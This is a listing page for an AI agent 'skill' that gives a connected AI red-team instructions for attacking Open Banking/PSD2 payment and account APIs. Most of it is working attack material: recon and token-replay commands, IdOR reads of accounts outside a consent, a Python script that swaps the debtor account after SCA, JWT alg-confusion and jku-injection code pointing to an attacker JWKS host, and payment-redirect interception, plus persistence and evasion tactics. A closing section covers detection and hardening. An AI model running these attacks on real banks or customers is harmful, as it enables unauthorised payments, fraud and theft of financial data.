Open Banking Attack Skill
SkillSecurityOpen Banking / PSD2 / Open Finance attacks — FAPI (Financial-grade API), OpenID Connect for Financial APIs, OAuth2 PKCE, Strong Customer Authentication (SCA) bypass, AIS/PIS/CBPII API abuse, payment redirection, consent manipulation. Covers UK Open Banking, US FDX, Brazil Open Finance, India Account Aggregator, Singapore MAS APIX, Australia CDR. Includes 2024-2025 incidents (Token Hijacking, IdOR on AIS endpoints, PIS redirect manipulation).
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Open Banking Attack Skill skill
What this skill tells your AI
The instructions your AI receives, as published by brucesongs/kali-claw in skills/open-banking-attack/SKILL.md and read by ahel’s review.
Red-team operations against Open Banking / Open Finance infrastructure — the modern OAuth2/FAPI stack that powers UK Open Banking, PSD2, Brazil Open Finance, US FDX, India Account Aggregator, and more. Targets: TPPs (Third-Party Providers), banks (ASPSPs), consent APIs, and the customer journey from consent → data access → payment initiation.
Summary
Open Banking (formerly PSD2) is the API-driven banking standard that lets customers share account data with Third-Party Providers (TPPs) and initiate payments via API. As of 2024-2026:
- UK Open Banking: ~10M active users, 400+ regulated TPPs
- EU PSD2/PSD3: every EU bank exposes AIS/PIS APIs
- Brazil Open Finance: 800M+ API calls/month
- India Account Aggregator: 1.4B+ AA transactions
- US FDX: 200M+ accounts accessible via FDX API
- Singapore MAS APIX: cross-border pilots
- Australia CDR: Consumer Data Right, mandatory for banks
The standard stack is:
- FAPI 2.0 (Financial-grade API) — OAuth2 + OIDC profile for finance
- MTLS sender-constrained tokens — prevents token theft
- DPoP (Demonstration of Proof-of-Possession) — JWT-bound tokens
- PAR (Pushed Authorization Requests) — request object by reference
- JARM (OAuth2 Authorization Response Mode) — JWT response
- JWS / JWE — signed and encrypted requests/responses
But implementation is uneven. This skill covers the realistic attack surface:
- SCA (Strong Customer Authentication) bypass — redirect URI manipulation, app-to-app fraud
- AIS (Account Information Service) abuse — IdOR on account endpoints, consent scope escalation
- PIS (Payment Initiation Service) attacks — debtor account swap, creditor account manipulation
- Consent manipulation — re-using consents, forging consent IDs
- OAuth2 profile attacks — PKCE bypass, state reuse, code interception
- JWT signature forgery — alg confusion, jku injection
- TPP onboarding fraud — eIDAS cert theft, sandbox-to-prod escalation
- App-to-app (a2a) payment fraud — redirect manipulation
- Open Banking Screen Scraping vs API scrapers
Distinct from adjacent skills:
| Skill | Scope |
|---|---|
api-security | Generic REST API attacks (BOLA, BFLA, mass assignment) |
web-auth-bypass | Web auth (cookie, session, CSRF) |
crypto-attacks | Algorithm-level (RSA, AES, signatures) |
open-banking-attack (this) | Financial-grade OAuth2 / FAPI / SCA / AIS / PIS stack |
Use Cases
Reconnaissance & Discovery
- Identify ASPSP (Account Servicing Payment Services Provider) — bank's Open Banking endpoints
- Discover OIDC / FAPI endpoints via
.well-known/openid-configuration - Enumerate TPPs in registry (FCA registry for UK, OBIE for Brazil)
- Map consent APIs —
/consents,/consents/{id},/payments - Identify SCA flows — redirect vs decoupled vs embedded
- Locate FAPI profile — FAPI 1.0 vs 2.0
Initial Access
- TPP registration fraud — register as TPP, get certs, test in sandbox
- eIDAS QWAC/QSeal cert theft — leaked from compromised TPP
- Compromised customer OAuth2 flow — code interception via redirect URI manipulation
- App-to-app (a2a) payment interception — pre-fund scam
- Phishing for Open Banking consent — fake TPP consent page
- Compromised TPP — supply chain via TPP-ASPSP integration
Privilege Escalation
- Consent scope escalation — requested
accountsbut accessedpayments - AIS → PIS pivot — use AIS consent to initiate payments
- Single-account consent → multi-account access — IdOR on
/accounts/{id} - Consent re-use across TPPs — consent IDs not scoped to TPP
- Refresh token abuse — infinite token lifetime via refresh loop
Persistence
- Long-lived consent —
recurringIndicator: true,validToDate: 2099-12-31 - Silent refresh token rotation — keep session alive without customer
- Consent refresh without re-SCA — exploit SCA exemption rules
- Backdoor TPP registration — register TPP with attacker cert
Defense Evasion
- PAR request object obfuscation — JWT with complex nested claims
- JWT alg confusion — HS256 with attacker HMAC key
- JARM-only response mode — hide response in JWT
- MTLS-bypassed endpoints — find endpoints that don't enforce mTLS
Collection & Exfiltration
- AIS bulk read —
/accounts/{id}/transactionsfor years of history - Consented balances —
/balancesfor all accounts under consent - Beneficiary lists —
/accounts/{id}/beneficiaries - Standing orders —
/accounts/{id}/standing-orders - Direct debits —
/accounts/{id}/direct-debits
Impact
- Unauthorized payment initiation — PIS attack moves funds
- Account takeover — AIS + beneficiary swap + PIS
- Mass account info harvest — broad TPP access across customers
- Customer privacy violation — bulk AIS read
- Money laundering facilitation — PIS for layering
Core Tools
Open Banking Standards (Targets)
| Standard | Region | Notes |
|---|---|---|
| FAPI 1.0 Baseline | UK, EU, BR | OAuth2 profile for finance |
| FAPI 1.0 Advanced | UK, EU | mTLS or DPoP sender-constrained |
| FAPI 2.0 | UK, EU, BR | Security profile (2024+) |
| FAPI CIBA | EU | Client-Initiated Backchannel Authentication |
| OIDC for FAPI | Global | Identity layer |
| UK OBIE | UK | UK Open Banking Implementation Entity |
| PSD2 / PSD3 | EU | Payment Services Directive |
| RTS | EU | Regulatory Technical Standards on SCA |
| OB BR | Brazil | Open Finance Brazil |
| FDX | US | Financial Data Exchange |
| India AA | India | Account Aggregator |
| MAS APIX | Singapore | Cross-border pilots |
| CDR | Australia | Consumer Data Right |
Roles (in scope as targets)
| Role | Acronym | Description |
|---|---|---|
| Account Servicing PSP | ASPSP | The bank |
| Third-Party Provider | TPP | API consumer |
| Payment Initiation PSP | PISP | PIS provider |
| Account Information PSP | AISP | AIS provider |
| Card-Based Payment IIP | CBPII | Funds confirmation |
| Payment Instrument Issuer | PII | For card-based payments |
Offensive Toolkit
# OAuth2 / OIDC
httpx -u https://bank.example.com/.well-known/openid-configuration -status-code -title
curl -s https://bank.example.com/.well-known/openid-configuration | jq .
# OAuth2 flow inspection
mitmproxy --mode reverse:https://tpp.example.com
burpsuite
# JWT analysis
jwt-tool $(cat token.jwt) -X a # algorithm confusion
jwt-tool $(cat token.jwt) -T # tamper
jwt_tool $(cat token.jwt) -X k # key confusion
# Token replay
curl -sk https://bank.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
# Consent enum
curl -sk https://bank.example.com/open-banking/v3.1/pisp/domestic-payment-consents \
-H "Authorization: Bearer $TOKEN" \
-d @consent.json
# Open Banking RFC tools
oauth2-proxy --config tpp.cfg
oidc-debugger
Methodology
Phase 1 — Reconnaissance
# Discover Open Banking endpoints via well-known
curl -s https://bank.example.com/.well-known/openid-configuration | jq .
# Output includes:
# - authorization_endpoint
# - token_endpoint
# - userinfo_endpoint
# - jwks_uri
# - scopes_supported
# - code_challenge_methods_supported (should include S256 for FAPI)
# - request_object_signing_alg_values_supported (should include PS256)
# Check FAPI profile support
curl -s https://bank.example.com/.well-known/openid-configuration | jq '.scopes_supported'
# UK Open Banking: well-known URLs follow pattern
curl -s https://matls-auth.example.com/.well-known/openid-configuration
curl -s https://api.example.com/open-banking/v3.1/aisp/accounts
Phase 2 — TPP Registration
To legitimately test Open Banking, you need a TPP identity:
- Register sandbox account on bank's developer portal
- Generate eIDAS QWAC + QSeal certs (sandbox)
- Register OAuth2 client (TPP onboarding)
- Get
client_id,client_secret, SSA (Software Statement Assertion)
# Register TPP (UK OBIE pattern)
curl -X POST https://register.example.com/v1.1/register/ \
-H 'Content-Type: application/jwt' \
-d @ssa.jwt
Phase 3 — Consent Flow Testing
Test the AIS consent flow:
- AIS client creates consent via API
- Bank returns consent ID
- Customer redirected to bank for SCA
- Customer approves consent
- Bank returns authorization code
- TPP exchanges code for access token
- TPP uses token to read accounts
Phase 4 — SCA Bypass
Try to skip SCA:
- Contactless exemption abuse (low-value payment without SCA)
- Trusted beneficiary list abuse
- Corporate payment SCA exemption abuse
- Redirect URI manipulation to capture code without SCA completion
Phase 5 — AIS Abuse
With valid AIS consent:
- Enumerate account IDs (IdOR)
- Read transactions beyond consent scope
- Read balances on accounts not in consent
- Read beneficiary lists, standing orders, direct debits
Phase 6 — PIS Abuse
With PIS consent:
- Initiate payment to attacker-controlled creditor
- Modify debtor account after consent
- Modify amount after consent
- Chain to multiple payments
Phase 7 — Token Abuse
Test access token security:
- mTLS enforcement (does token work without cert?)
- DPoP enforcement (does token work without DPoP proof?)
- Token replay across endpoints
- Refresh token abuse
Practical Steps
Step A — Discover OIDC config
curl -s https://auth.example.com/.well-known/openid-configuration | jq . > oidc-config.json
# Inspect
jq '. | keys' oidc-config.json
jq '.request_object_signing_alg_values_supported' oidc-config.json
# Expect: ["PS256", "ES256"] for FAPI
# If "none" — FAPI not enforced
jq '.code_challenge_methods_supported' oidc-config.json
# Expect: ["S256"] for FAPI
# If "plain" — PKCE downgrade possible
jq '.scopes_supported' oidc-config.json
# Expect: openid, accounts, payments, fundsconfirmations
Step B — Test PAR (Pushed Authorization Requests)
# FAPI requires PAR (pushed authorization)
curl -sk -X POST https://auth.example.com/par \
-H 'Content-Type: application/x-www-form-urlencoded' \
--cert client.crt --key client.key \
-d 'response_type=code&client_id=REPLACE_WITH_YOUR_CLIENT_ID&redirect_uri=https://tpp.example.com/cb&scope=accounts&code_challenge=REPLACE_WITH_YOUR_CHALLENGE&code_challenge_method=S256&state=abc123'
# Returns: request_uri
# If PAR not enforced — old OAuth2 flow with request object still allowed (downgrade)
Step C — Test mTLS sender-constrained tokens
# Get token with mTLS cert
TOKEN=$(curl -sk -X POST https://auth.example.com/token \
--cert client.crt --key client.key \
-d 'grant_type=authorization_code&code=...&redirect_uri=...&client_id=...' | jq -r .access_token)
# Use token WITH mTLS cert
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
# Now try WITHOUT mTLS cert (token should fail)
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN"
# If second succeeds — mTLS not enforced, token replayable
Step D — AIS IdOR
# With consent for account A
TOKEN=...
ACCOUNT_A=REPLACE_WITH_YOUR_ACCOUNT_A_ID
# Try to access account B (not in consent)
ACCOUNT_B=REPLACE_WITH_YOUR_ACCOUNT_B_ID
curl -sk "https://api.example.com/open-banking/v3.1/aisp/accounts/$ACCOUNT_B/transactions" \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
# If 200 OK — IdOR, account B accessible
# If 403 — proper isolation
Step E — PIS debtor account manipulation
# Create consent
import requests
consent = {
"Data": {
"Initiation": {
"InstructionIdentification": "kali-1",
"EndToEndIdentification": "kali-1",
"InstructedAmount": {"Amount": "1.00", "Currency": "GBP"},
"CreditorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "12345612345678"
},
"DebtorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "REPLACE_WITH_YOUR_CUSTOMER_SORT_ACCT" # customer's account
}
}
},
"Risk": {}
}
r = requests.post(
'https://api.example.com/open-banking/v3.1/pisp/domestic-payment-consents',
json=consent,
headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'},
cert=('client.crt', 'client.key')
)
consent_id = r.json()['Data']['ConsentId']
print(f'Consent: {consent_id}')
# After SCA, modify debtor account in payment submission
submission = {
"Data": {
"ConsentId": consent_id,
"Initiation": {
...,
"DebtorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "ATTACKER_SORT_ACCT" # swapped
}
}
}
}
r = requests.post(
'https://api.example.com/open-banking/v3.1/pisp/domestic-payments',
json=submission,
headers={'Authorization': f'Bearer {token}'},
cert=('client.crt', 'client.key')
)
# If payment initiated from wrong account — debtor account manipulation succeeded
Step F — JWT alg confusion
# Get bank's public key
curl -s https://auth.example.com/jwks | jq '.keys[0]'
# Convert to RSA PEM
echo '... modulus ...' | base64 -d > modulus.bin
python3 -c "
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
n = int.from_bytes(open('modulus.bin', 'rb').read(), 'big')
e = 65537
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
open('bank-pub.pem', 'wb').write(pem)
"
# Use JWT tool for alg confusion
jwt_tool $TOKEN -X a -S hs256 -k bank-pub.pem
# If success — alg confusion, signature forged
Step G — jku header injection
# Craft JWT with jku pointing to attacker JWKS
import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
# Generate attacker RSA key
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
priv_pem = priv.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
pub = priv.public_key()
pub_jwk = { # JWK format
'kty': 'RSA',
'kid': 'kali-1',
'n': '...',
'e': 'AQAB'
}
# Serve attacker JWKS
# https://attacker.example.com/jwks.json
# Craft JWT with jku header
token = jwt.encode(
{'sub': 'admin', 'groups': ['admin']},
priv_pem,
algorithm='PS256',
headers={'jku': 'https://attacker.example.com/jwks.json', 'kid': 'kali-1'}
)
print(token)
# Bank validates jku URL → fetches attacker JWKS → verifies with attacker pub key
Step H — App-to-app (a2a) payment interception
# Customer uses a2a payment (e.g., pay small business via Open Banking)
# Customer's banking app receives redirect from TPP
# Intercept via mitmproxy
mitmproxy --mode regular
# Or Burp Suite
# Capture a2a redirect
# Look for:
# GET https://tpp.example.com/return?code=abc&state=xyz
# Customer taps "Pay" in banking app → bank sends auth code to TPP
# If redirect can be replayed → fraudulent payment
Defense Perspective
Detection
ASPSP (Bank)
- Audit consent creation / approval / usage
- Alert on AIS read beyond consent scope (multi-account reads)
- Alert on PIS to new creditor (above customer baseline)
- Alert on rapid consent creation across many customers (TPP scanning)
- Detect mTLS-mismatched token use (token from cert A used with cert B)
TPP
- Audit customer consent approval / withdrawal
- Detect unexpected eIDAS cert use (cert from different TPP)
- Audit token creation / refresh patterns
Customer-side
- Banking app: alert on a2a payment to new payee
- Push notification for any AIS/PIS event
Hardening
- FAPI 2.0 Security Profile — full enforcement
- PAR — Pushed Authorization Requests mandatory
- mTLS sender-constrained tokens — no exceptions
- JARM — JWT responses prevent query string tampering
- DPoP — backup if mTLS unavailable
- JWT
algallowlist — only PS256/ES256, nonone - JWKS URL allowlist — bank's JWKS only
- Consent ID cross-TPP check — consent ID tied to TPP client_id
- SCA for every payment — no exemptions for new payees
- Consent limits — max 12 months, renewal requires re-SCA
Incident Response
When Open Banking compromise suspected:
- Revoke TPP certs — eIDAS QWAC/QSeal rotation
- Revoke all consents — bank-wide consent revocation
- Block affected customer accounts — pause PIS
- Audit recent payments — last 30 days, flag for review
- Notify regulator — FCA (UK), BaFin (DE), etc.
- Notify affected customers — within 72h (GDPR)
- Forensics — log analysis for token replay patterns
- Post-mortem — profile adherence audit, JWKS rotation
Detection Methods
Open Banking API Audit
- TPP anomaly: Third-Party Provider making unusual API calls; new TPP registration with anomalous pattern.
- SCA bypass: Strong Customer Authentication bypassed via legacy auth; consent reuse.
- Consent abuse: Consent granted for one service but used for another; consent for AIS used to initiate PIS.
- eIDAS QWAC forgery: TLS certificate from TPP with mismatched organization.
SIEM Detection Rules
- Splunk SPL:
index=openbanking sourcetype=ob:api | stats dc(endpoint) by tpp_id | where dc > 10 - API gateway logging: Open Banking API gateway (Kong, Apigee) with custom security policies.
Defense Evasion Techniques
TPP Compromise Stealth
- Use legitimate TPP credentials: Steal TPP eIDAS credentials; appears as legitimate TPP.
- AIS to PIS pivot: Use AIS (read-only) consent to gather data; pivot to PIS (payment) via separate flow.
- SCA exemption abuse: Use low-value payment exemption (≤30 EUR); avoid SCA threshold.
FAPI Bypass
- PAR (Pushed Authorization Request) downgrade: Force fallback to non-PAR; bypass request validation.
- JARM (JWT Authorization Response Mode) manipulation: Modify response mode to leak auth code.
- DPoP (Demonstrating Proof-of-Possession) bypass: Some implementations don't strictly validate DPoP token binding.
- mTLS bypass: Exploit mTLS implementation flaws; some APIs don't strictly validate client cert.
References
- OpenID Foundation FAPI 2.0 — https://openid.net/specs/fapi-2_0.html
- FAPI 1.0 Advanced — https://openid.net/specs/openid-financial-api-part-2-1_0.html
- OAuth 2.0 Pushed Authorization Requests (RFC 9126)
- OAuth 2.0 Demonstrating Proof-of-Possession (DPoP) (RFC 9449)
- OAuth 2.0 JWT-Secured Authorization Response Mode (JARM)
- OAuth 2.0 Mutual-TLS Client Authentication (RFC 8705)
- UK Open Banking Standard — https://standards.openbanking.org.uk/
- UK OBIE Security Profile — https://openbanking.atlassian.net/
- PSD2 Directive (EU) 2015/2366
- PSD3 Proposal (2023)
- EBA RTS on SCA — Commission Delegated Regulation (EU) 2018/389
- Brazil Open Finance — https://openfinancebrasil.org.br/
- US FDX API — https://financialdataexchange.org/
- India Account Aggregator — https://sahamati.org.in/
- Singapore MAS APIX — https://apix.asia/
- Australia CDR — https://consumerdatastandards.gov.au/
- OWASP FAPI Cheat Sheet — https://cheatsheetseries.owasp.org/
- CISA — Open Banking Threat Brief (2024)
- "Open Banking Security" (Ana Isabel Canhoto, 2024)
- MITRE ATT&CK — T1185 Man in the Browser, T1552 Unsecured Credentials
Signals
- GitHub stars
- 71
- Forks
- 18
- Last commit
- Sep 2026
Advanced
- Catalog kind
- skill
- Gateway key
open-banking-attack- Source
- github.com/brucesongs/kali-claw